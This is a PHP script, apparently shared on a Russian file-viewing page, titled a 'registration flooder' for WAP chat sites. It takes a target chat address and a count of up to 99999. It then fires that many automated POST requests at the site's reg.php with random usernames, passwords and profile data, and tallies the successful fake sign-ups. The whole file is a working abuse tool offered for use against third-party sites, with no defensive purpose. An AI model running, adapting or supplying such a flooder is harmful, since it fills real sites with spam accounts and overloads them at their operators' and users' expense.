Просмотр файла bodr.php

Размер файла: 2.36Kb
<?php
//error_reporting(0);
$chat = htmlspecialchars($_POST['chat']); //адрес чата
$kol = substr(intval($_POST['kol']), 0, 5); //количество рег
$chat = str_replace("http://", "", $chat); //убираем http://
Header("Content-Type: text/vnd.wap.wml; charset=utf-8");

print "<?xml version=\"1.0\" encoding=\"utf-8\"?>";
print "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.3//EN\" \"http://www.wapforum.org/DTD/wml13.dtd\">";
print "<wml>";
print "<card id=\"flood\" title=\"Флудер рег\">";
print "<p align=\"center\">";

if(!empty($chat) && !empty($kol))
{
if(substr($chat, strlen($chat)-1) == "/") $chat = substr($chat, 0, strlen($chat)-1);
$host = strtok($chat, "/");
if(!$host) $host = $chat;
$page = strstr($chat, "/");
if(!$page) $page = "";
if(!@fopen("http://$chat/reg.php", "r")){
print "Невозможно найти страницу регистрации!<br/>"; }
else{
$error = 0;
for($i=0; $i<$kol; $i++){
$rand = str_replace("=", "x", base64_encode(rand(00000000, 99999999)));
$rand = str_replace("0", "x", $rand);
$rega = "user=$rand&pass=$rand&pass2=$rand&name=$rand&sex=$rand&day=30&month=10&year=1987&city=$rand&op=$rand&mob=$rand&mail=$rand&site=$rand&infa=$rand";
$hd = "POST $page/reg.php?go=reg HTTP/1.0\r\n";
$hd .= "Host: $host\r\n";
$hd .= "User-Agent: $rand\r\n";
$hd .= "Content-Length: ".strlen($rega)."\r\n";
$hd .= "Content-Type: application/x-www-form-urlencoded\r\n";
$hd .= "Connection: close\r\n\r\n";
$hd .= $rega;
$fo = @fsockopen($host, 80);
@fwrite($fo, $hd);
$text = "";
while(!feof($fo)) $text .= @fgets($fo, 4096);
if(!strpos($text, "Вы успешно зарегистрированы")) $error++; }
print "Введено рег: $kol<br/>";
print "Ошибок при реге: $error<br/>";
print "<small>-----</small><br/>";
}}

$rand = rand(00000, 99999); //случайное число
print "<small>Адрес чата:</small><br/>";
print "<input type=\"text\" name=\"chat_$rand\" value=\"http://$chat\"/><br/>";
print "<small>Количество рег:</small><br/>";
print "<input type=\"text\" name=\"kol_$rand\" value=\"$kol\" maxlength=\"5\" size=\"5\"/><br/>";
print "<small><anchor>Регить<go href=\"$PHP_SELF\" method=\"post\">";
print "<postfield name=\"chat\" value=\"$(chat_$rand)\"/>";
print "<postfield name=\"kol\" value=\"$(kol_$rand)\"/>";
print "</go></anchor></small>";
echo "</p></card></wml>";
?>